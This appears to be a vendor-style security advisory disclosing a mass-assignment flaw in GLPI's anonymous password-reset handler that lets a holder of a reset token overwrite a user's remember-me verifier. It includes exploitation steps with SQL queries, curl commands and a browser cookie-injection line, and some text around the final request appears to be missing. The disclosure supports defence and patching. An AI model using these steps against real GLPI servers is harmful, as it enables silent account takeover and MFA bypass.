GLPI: Mass Assignment in the Password Reset Flow Enables Post-exploitation Silent Account Takeover
28/10/2026 - Téléchargement
Product
GLPI
Severity
High
Fixed Version(s)
11.0.9
Affected Version(s)
GLPI <= 11.0.8
CVE Number
Authors
Description
Presentation
GLPI is an open source solution for IT asset management and help desk.
Issue(s)
Synacktiv discovered an MFA Bypass via Password-Reset Mass Assignment vulnerability in GLPI. This vulnerability can be used in a post-exploitation scenario, and allows an attacker to silently take over any other applicative account.
Affected versions
Timeline
| Date | Description |
|---|---|
| 2026.08.23 | Advisory sent to security@glpi-project.org |
| 2026.09.18 | Version 11.0.9 released |
| 2026.10.26 | GitHub advisory published |
Technical details
MFA Bypass via Password-Reset Mass Assignment
Description
GLPI’s anonymous password-recovery handler is vulnerable to mass assignment of sensitive user attributes. After validating a reset token and a candidate password, updateForgottenPassword() passes the complete request payload to User::update() without restricting it to the fields required for a password change.
When password-reset notifications are enabled, an anonymous visitor can submit a target user’s email address through GLPI’s forgot-password form. The application generates a reset token, stores it encrypted in that user’s database record, and sends a reset link containing the reset token to the user’s email address.
The relevant vulnerable source code is the following:
src/User.php:5522-5594
public function updateForgottenPassword(array $input)
{
[...]
if (
!array_key_exists('password_forget_token', $input)
|| ($user = self::getUserByForgottenPasswordToken(
$input['password_forget_token']
)) === null
) {
throw new ForgetPasswordException(...);
}
$input['id'] = $user->fields['id'];
$password_errors = [];
if (!$this->validatePassword($input["password"], $password_errors)) {
throw new PasswordTooWeakException();
}
// Entire attacker-controlled request, including extra fields,
// is passed to the generic user-update routine.
if (!$user->update($input)) {
return false;
}
}
Impact
An attacker having acquired a victim's reset token, for instance via an SQL injection, can replace the targeted user’s remember-me verifier. GLPI’s remember-me cookie contains a JSON pair, [user ID, secret], the ID identifies the user, while a cookie_token value that corresponds to a verifier for the secret value is stored on the database. Furthermore, the cookie_token_date value records when the previous token was last modified. It is important to note that the date is stored in the database, not in the browser cookie, and serves when verifying whether the cookie_token has expired. GLPI checks the cookie’s secret against the stored verifier for that user and accepts a matching cookie as authentication.
Successful exploitation requires:
- Remember-me authentication and sending password forget notifications to be enabled on the target GLPI instance.
- A valid password-reset token for the targeted account.
- Knowledge of the victim’s user ID.
Since exploitation requires a valid password-reset token, this vulnerability is primarily relevant after an attacker gains access to the token, either by compromising the victim’s email account or by obtaining read access to the glpi_queuednotifications table and recovering the plaintext reset link.
An attacker can submit a password-reset request containing:
password_forget_token= <valid reset token>password= <password satisfying the configured policy>cookie_token= SHA1(<attacker-chosen secret>)cookie_token_date= <current timestamp>
The reset token is consumed, but the victim’s password and MFA configuration remain unchanged. GLPI stores the attacker-selected verifier as the victim’s remember-me token, leading to a silent account take-over and MFA bypass.
The flaw is amplified by two implementation details:
- If the
password2value is omitted, GLPI discards the submitted password during update preparation, even though the outer reset handler has already validated it. The victim’s existing password therefore remains unchanged. - Protection for sensitive user fields is applied only when a logged-in user session exists. Because password recovery is anonymous, the attacker-controlled remember-me fields are accepted.
In practice, an attacker would have recovered the user ID and reset password email received by the victim:
MariaDB [glpi]> select id from glpi_users where name = 'admin';
8
MariaDB [glpi]> SELECT body_text FROM glpi_queuednotifications WHERE itemtype='User' AND items_id=8 AND event='passwordforget' ORDER BY id DESC LIMIT 1;
You have been made a request to reset your account password.
Just follow this link (you have one day): http://glpi.lab/front/lostpassword.php?password_forget_token=e0f16f2f94b4ea8fce07401cacaa396afccd33a6
--
SIGNATURE
Automatically generated by GLPI
A GLPI cookie and a CSRF token would then have to be requested:
$ curl -is 'http://glpi.lab/front/lostpassword.php?password_forget_token=e0f16f2f94b4ea8fce07401cacaa396afccd33a6' | grep -oP '^Set-Cookie:[^\r]*|name="_glpi_csrf_token"[^>]*value="\K[^"]+'
Set-Cookie: glpi_be183a6d8f54613837da9be404d32fe66856140422c982be3f1fcc7eb0b2ed889cf5307bf8a60ca1a8c8982d27128a86aca649d12ff3635da09247e80495cdbf=544abd2ae7f90852db34fb149fd61586; path=/; httponly; samesite=strict
b1aae924227ec0e5f7fc6c1d5fb8708fef92352ec69fe0a0e756ed2c23dc116b
The attacker must also choose a remember-me secret and calculate its SHA-1 digest. The digest is submitted as the cookie_token, while the original unhashed secret is retained for constructing the remember-me cookie used during authentication.
$ REMEMBER_SECRET=c133863b736b5718b15e8111cb0d28b50458750dd56a7468
$ printf '%s' "$REMEMBER_SECRET" | sha1sum
fba39f203bc82e8861bdf170d4666e92e3ee231f -
Using the CSRF token and the Cookies sent by the server, the previously calculated cookie_token and a correct cookie_token_date, the payload can finally be sent to the /front/lostpassword.php endpoint:
For debugging purposes, an SQL query on the database verifies that the cookie_token and cookie_token_date values were indeed modified. Note that the cookie_token value is encrypted before being stored.
MariaDB [glpi]> select CONCAT(cookie_token, '\n', cookie_token_date) from glpi_users where name = 'admin';
UmrNF8+yN2ExMabL0nz0oVQ2qqBwTYzxm0oueOOjPQrLdYzYzvFR5nZ090JZPb8jHanCodptj9/FaQvjtIod5mQaceQH1UZouxxFabKoisI=
2026-09-15 17:37:08
cookie. GLPI checks that secret against the verifier stored for the victim and, if they match, authenticates the attacker as the victim without requiring a password or MFA code.
The following cookie can be injected in a browser session via its console:
document.cookie = 'glpi_be183a6d8f54613837da9be404d32fe66856140422c982be3f1fcc7eb0b2ed889cf5307bf8a60ca1a8c8982d27128a86aca649d12ff3635da09247e80495cdbf_rememberme=' + encodeURIComponent('[8,"c133863b736b5718b15e8111cb0d28b50458750dd56a7468"]') + '; Path=/;SameSite=Strict';
Visiting /Form/Import then displays the form import interface and successfully identifies the victim as the signed-in user.